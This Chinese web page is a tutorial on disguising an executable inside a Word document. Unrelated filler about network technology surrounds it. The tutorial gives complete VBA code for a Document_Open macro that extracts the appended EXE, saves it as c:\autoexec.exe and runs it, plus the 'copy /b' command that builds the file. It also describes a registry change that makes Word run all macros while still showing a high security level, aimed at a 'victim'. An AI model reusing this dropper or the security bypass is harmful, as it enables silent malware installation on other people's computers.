|
導(dǎo)讀網(wǎng)絡(luò)技術(shù)是從1990年代中期發(fā)展起來的新技術(shù),它把互聯(lián)網(wǎng)上分散的資源融為有機(jī)整體,實(shí)現(xiàn)資源的全面共享和有機(jī)協(xié)作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機(jī)、存儲資源、數(shù)據(jù)... 網(wǎng)絡(luò)技術(shù)是從1990年代中期發(fā)展起來的新技術(shù),它把互聯(lián)網(wǎng)上分散的資源融為有機(jī)整體,實(shí)現(xiàn)資源的全面共享和有機(jī)協(xié)作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機(jī)、存儲資源、數(shù)據(jù)資源、信息資源、知識資源、專家資源、大型數(shù)據(jù)庫、網(wǎng)絡(luò)、傳感器等。 當(dāng)前的互聯(lián)網(wǎng)只限于信息共享,網(wǎng)絡(luò)則被認(rèn)為是互聯(lián)網(wǎng)發(fā)展的第三階段。 EXE變DOC的方法其實(shí)這種轉(zhuǎn)換并不是文件格式上的變化,只不過是把一個exe文件接在一個doc文件的末尾而已,這個doc 文件當(dāng)然就不是不同word的文檔啦,該文檔中包含了宏語句,能在 運(yùn)行的時候把接在自己文件末尾的exe文件數(shù)據(jù)讀取出來并運(yùn)行,就 造成一種假象,好象文檔打開時就運(yùn)行了exe文件似的.(和文件捆綁器的原理很象啊!) 熟悉vb的朋友都知道,word的宏是使用vba來編寫的,具體語法和vb一樣,但有些方法vb中沒有,如宏病毒 就是利用宏復(fù)制語句來達(dá)到感染的目的.和vb一樣,我們可以在編寫宏的時候調(diào)用windows api!!下面我們來介紹一下我們編寫這個宏需要用到的api函數(shù): 1)createfile 用于打開文件,該函數(shù)vb的聲明如下: declare function createfile lib "kernel32" alias "createfilea" (byval lpfilename as string, byval dwdesiredaccess as long, byval dwsharemode as long, byval lpsecurityattributes as long, byval dwcreationdistribution as long, byval dwflagsandattributes as long, byval htemplate as long) as long 2)closehandle 用于關(guān)閉被打開文件的句柄,該函數(shù)vb的聲明如下: declare function closehandle lib "kernel32" (byval hobject as long) as long 3)readfile 用于從被打開文件中讀取數(shù)據(jù),該函數(shù)vb的聲明如下: declare function readfile lib "kernel32" (byval hfile as long, lpbuffer as byte, byval dwnumberofbytestoread as long, lpnumberofbytesread as long, byval lpoverlapped as long) as long 4)writefile 用于把讀取出的數(shù)據(jù)寫入文件,該函數(shù)vb的聲明如下: declare function writefile lib "kernel32" (byval hfile as long, lpbuffer as byte, byval dwnumberofbytestowrite as long, lpnumberofbyteswritten as long, byval lpoverlapped as long) as long 5)setfileponiter移動文件指針,該函數(shù)vb的聲明如下: declare function setfilepointer lib "kernel32" (byval hfile as long, byval ldistancetomove as long, byval lpdistancetomovehigh as long, byval dwmovemethod as long) as long 6)下面是以上函數(shù)的參數(shù)聲明 public const generic_read as long = &h80000000 public const generic_write as long = &h40000000 public const file_share_read as long = 1 public const file_share_write as long = 2 public const create_new as long = 1 public const create_always as long = 2 public const open_existing as long = 3 public const open_always as long = 4 public const truncate_existing as long = 5 public const invalid_handle_value as long = -1 public const file_attribute_normal as long = &h80 好了,有了這些準(zhǔn)備工作就可以開始了,我們運(yùn)行word2000,打開visual basic編輯器,新建一個模塊,把上面的函數(shù) 和參數(shù)聲明拷進(jìn)去!再回到“thisdocument”的代碼視圖,選擇document open的事件,輸入一下代碼: private sub document_open() dim buffer(65536) as byte dim h, h2, j, i, k as long h = createfile(thisdocument.path & "/" & thisdocument.name, generic_read, file_share_read + file_share_write, 0, open_existing, 0, 0) ‘以share_read的方式打開自身的doc文件 h2 = createfile("c:\autoexec.exe", generic_write, 0, 0, create_always, 0, 0) ‘新建一個exe文件準(zhǔn)備存放讀取出來的數(shù)據(jù). if h = invalid_handle_value then exit sub end if k = setfilepointer(h, 32768, nil, 0) ‘把文件指針移動到doc文件與exe文件交界處. do i = readfile(h, buffer(0), 65536, j, 0) i = writefile(h2, buffer(0), j, j, 0) loop until j < 65536 closehandle (h) closehandle (h2) shell "c:\autoexec.exe" ‘運(yùn)行exe文件 end sub 這樣宏就編寫好了,注意的地方就是上面setfilepointer函數(shù)的使用部分:32768是你編寫完宏保存 好的doc文件的文件大小,不一頂就是32768哦,大家注意! 大家可能有疑問,如何把exe文件接到doc文件后面呢?很簡單,把你要接的exe放到和 這個doc文件同一個目錄下.運(yùn)行doc命令: copy /b xxxx.doc + xxxxx.exe newdoc.doc 這樣就可以了~~~.當(dāng)你打開這個newdoc.doc的時候,宏就會把后面的exe文件讀出來并保存 在c:\autoexec.exe中,然后運(yùn)行,是不是很恐怖啊!不過這需要你的word2000安全度為最低的時候 才能實(shí)現(xiàn),關(guān)于這個安全度的問題,我們又發(fā)現(xiàn)了微軟的小bug,大家看看注冊表中這個鍵: hkey_current_user\software\microsoft\office\9.0\word\security 中的 level值.當(dāng)安全度是3(高)的時候,word不會運(yùn)行任何的宏,2(中)的時候word會詢問你是否運(yùn)行宏,1(低)的時候 word就會自動運(yùn)行所有的宏!但很容易就被發(fā)現(xiàn)安全度被設(shè)為低了,聰明的你一定想到如果這個值 變?yōu)?的時候會怎么樣!!??對了!如果設(shè)為0的話,word里面就會顯示安全度為高,但卻能自動運(yùn)行任何 的宏!!是不是很夸張??和注冊表編輯器的后門一樣這都是ms的后門吧? 如果要受害人的機(jī)器接受你的doc文件又能順利運(yùn)行,最重要就是把word的安全度在注冊表中的 值改為0,怎么改??方法太多了吧,單是ie的惡意代碼能實(shí)現(xiàn)的都太多了,另外,如果網(wǎng)頁上連接上是doc的 話,ie也會自動下載該doc文件!危險的ms啊!! 這個算不算漏洞我不敢說,但防范真的很難,除非一天到晚監(jiān)視著注冊表,或者不用word?太消極了 吧,最重要的是小心防范,陌生人的東西千萬不要收!包括非exe文件,我們現(xiàn)在發(fā)現(xiàn)了doc文件能 隱藏exe文件,也會有人發(fā)現(xiàn)其他文件能隱藏exe,所以大家千萬要小心. 網(wǎng)絡(luò)的神奇作用吸引著越來越多的用戶加入其中,正因如此,網(wǎng)絡(luò)的承受能力也面臨著越來越嚴(yán)峻的考驗(yàn)―從硬件上、軟件上、所用標(biāo)準(zhǔn)上......,各項(xiàng)技術(shù)都需要適時應(yīng)勢,對應(yīng)發(fā)展,這正是網(wǎng)絡(luò)迅速走向進(jìn)步的催化劑。 |
溫馨提示:喜歡本站的話,請收藏一下本站!